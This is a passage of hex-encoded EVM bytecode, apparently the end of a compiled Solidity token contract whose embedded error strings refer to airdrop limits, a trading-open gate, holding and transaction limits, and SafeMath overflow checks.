5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061557b57607f821691505b60208210810361558e5761558d615534565b5b50919050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b60006155ca600783614deb565b91506155d582615594565b602082019050919050565b600060208201905081810360008301526155f9816155bd565b9050919050565b7f474153204572726f723a206d61782061697264726f70206c696d69742069732060008201527f3830302061646472657373657300000000000000000000000000000000000000602082015250565b600061565c602d83614deb565b915061566782615600565b604082019050919050565b6000602082019050818103600083015261568b8161564f565b9050919050565b7f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c65740000000000600082015250565b60006156c8601b83614deb565b91506156d382615692565b602082019050919050565b600060208201905081810360008301526156f7816156bb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060408201905061574260008301856151a0565b61574f6020830184614d3b565b9392505050565b600061576182614c73565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203615793576157926153df565b5b600182019050919050565b6000815190506157ad81614c7d565b92915050565b6000806000606084860312156157cc576157cb614c69565b5b60006157da8682870161579e565b93505060206157eb8682870161579e565b92505060406157fc8682870161579e565b9150509250925092565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b600061583c600883614deb565b915061584782615806565b602082019050919050565b6000602082019050818103600083015261586b8161582f565b9050919050565b6000819050919050565b600061589761589261588d84615872565b61526a565b614c73565b9050919050565b6158a78161587c565b82525050565b60006040820190506158c260008301856151a0565b6158cf602083018461589e565b9392505050565b60006158e182614c73565b91506158ec83614c73565b9250828201905080821115615904576159036153df565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615940601b83614deb565b915061594b8261590a565b602082019050919050565b6000602082019050818103600083015261596f81615933565b9050919050565b600061598182614c73565b915061598c83614c73565b92508282039050818111156159a4576159a36153df565b5b92915050565b7f697343686f73656e536f6e000000000000000000000000000000000000000000600082015250565b60006159e0600b83614deb565b91506159eb826159aa565b602082019050919050565b60006020820190508181036000830152615a0f816159d3565b9050919050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b6000615a4c601483614deb565b9150615a5782615a16565b602082019050919050565b60006020820190508181036000830152615a7b81615a3f565b9050919050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b6000615ade603e83614deb565b9150615ae982615a82565b604082019050919050565b60006020820190508181036000830152615b0d81615ad1565b9050919050565b6000819050919050565b6000819050919050565b615b39615b3482615b14565b615b1e565b82525050565b6000819050919050565b615b5a615b5582614c73565b615b3f565b82525050565b6000615b6c8286615b28565b602082019150615b7c8285615b49565b602082019150615b8c8284615b49565b602082019150819050949350505050565b6000615ba882615b14565b91507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203615bda57615bd96153df565b5b600182019050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b6000615c1b601183614deb565b9150615c2682615be5565b602082019050919050565b60006020820190508181036000830152615c4a81615c0e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050615c8f81614f89565b92915050565b600060208284031215615cab57615caa614c69565b5b6000615cb984828501615c80565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615cf781614f77565b82525050565b6000615d098383615cee565b60208301905092915050565b6000602082019050919050565b6000615d2d82615cc2565b615d378185615ccd565b9350615d4283615cde565b8060005b83811015615d73578151615d5a8882615cfd565b9750615d6583615d15565b925050600181019050615d46565b5085935050505092915050565b600060a082019050615d956000830188614d3b565b615da2602083018761589e565b8181036040830152615db48186615d22565b9050615dc360608301856151a0565b615dd06080830184614d3b565b9695505050505050565b600081905092915050565b50565b6000615df5600083615dda565b9150615e0082615de5565b600082019050919050565b6000615e1682615de8565b9150819050919050565b600060c082019050615e3560008301896151a0565b615e426020830188614d3b565b615e4f604083018761589e565b615e5c606083018661589e565b615e6960808301856151a0565b615e7660a0830184614d3b565b979650505050505050565b6000604082019050615e966000830185614d3b565b615ea36020830184614d3b565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615f06602183614deb565b9150615f1182615eaa565b604082019050919050565b60006020820190508181036000830152615f3581615ef9565b905091905056fea26469706673582212206e210a2b3becd0a978cc80d7729a42dd9503e8c367e34fae7866d2a5b9a8b2b564736f6c63430008100033